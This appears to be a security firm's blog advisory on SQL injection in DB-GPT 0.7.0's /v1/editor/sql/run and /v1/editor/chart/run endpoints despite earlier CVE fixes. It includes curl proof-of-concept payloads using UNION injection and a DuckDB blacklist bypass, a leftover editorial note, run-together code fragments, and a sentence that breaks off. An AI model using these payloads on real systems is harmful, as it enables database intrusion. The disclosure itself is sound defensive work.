How Cal.com Rebuilt AppSec After Going Closed Source
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
An SQL injection was found in DB-GPT 0.7.0 despite fixes for prior CVEs (CVE-2024-10835 and CVE-2024-10901). Both /v1/editor/sql/run and /v1/editor/chart/run endpoints remain vulnerable to SQL injection. The previous patches implemented blacklist-based protections for DuckDB connections, but missed the path allowing direct execution of user-provided SQL without proper parameterization.
The prior incomplete fix:
(@RT optional if you want to add code, can just keep the text but remove code)
editor_sql_run() in /packages/dbgpt-app/src/dbgpt_app/openapi/api_v1/editor/api_editor_v1.pyeditor_sql_run()conn.query_ex() call in editor_sql_run()query_ex() in /packages/dbgpt-core/src/dbgpt/datasource/rdbms/base.pyFor any non-DuckDB database (completely unprotected):
<code class="hljs language-bash">curl -X POST <span class="hljs-string">"http://localhost:5670/api/v1/editor/sql/run"</span> \
-H <span class="hljs-string">"Content-Type: application/json"</span> \
-d <span class="hljs-string">'{
"db_name": "mysql_database",
"sql": "SELECT 1 as test UNION ALL SELECT table_name FROM information_schema.tables--"
}'</span>
</code>For the chart endpoint:
<code class="hljs language-bash">curl -X POST <span class="hljs-string">"http://localhost:5670/api/v1/editor/chart/run"</span> \
-H <span class="hljs-string">"Content-Type: application/json"</span> \
-d <span class="hljs-string">'{
"db_name": "postgres_database",
"chart_type": "bar",
"sql": "SELECT 1 as label, 2 as value UNION ALL SELECT table_name, 1 FROM information_schema.tables--"
}'</span>
</code>For DuckDB (bypassing the blacklist protection):
<code class="hljs language-bash">curl -X POST <span class="hljs-string">"http://localhost:5670/api/v1/editor/sql/run"</span> \
-H <span class="hljs-string">"Content-Type: application/json"</span> \
-d <span class="hljs-string">'{
"db_name": "duck_db",
"sql": "SELECT * FROM (SEL/**/ECT CURRENT_SETTING(\"access_mode\") as a, 1 as b);"
}'</span>
</code>Despite the fixes implemented for CVE-2024-10835 and CVE-2024-10901, attackers can still:

Artemiy Malyshau
Co-founder & CTO
Artemiy served in an elite unit of the Austrian Cyber Forces, defending national infrastructure He was then the first employee at a government-backed cybersecurity research group, where he led security projects for Interpol and national governments. At Gecko he builds the platform trusted to sit inside Fortune 500 codebases, and holds it to the standard those governments taught him.
The latest news, technologies, and resources from our team.
How Cal.com consolidated noisy security tooling into one continuous, context-aware pull request security program with Gecko.
Gecko Security
Authorization bypass in n8n’s dynamic-credentials OAuth endpoints allows any authenticated user to operate on another user’s OAuth credential by supplying its ID, enabling unauthorized OAuth rebinding and revocation.
Artemiy Malyshau
An IDOR vulnerability in n8n’s public variables API allows authenticated users to read project variables outside their authorized scope, exposing secrets across project boundaries.
Artemiy Malyshau
Learn API scanning for automated security testing. Find vulnerabilities from broken authentication to business logic flaws in your endpoints.
Artemiy Malyshau
A complete guide to automated pentest tools and best practices. Learn what works, what doesn’t, and how to implement continuous security testing.
Artemiy Malyshau
Compare the best AI-powered application security testing tools. Find which tools detect business logic flaws and broken access control.
Artemiy Malyshau
Occasional updates, new content, and insights. No spam; unsubscribe anytime.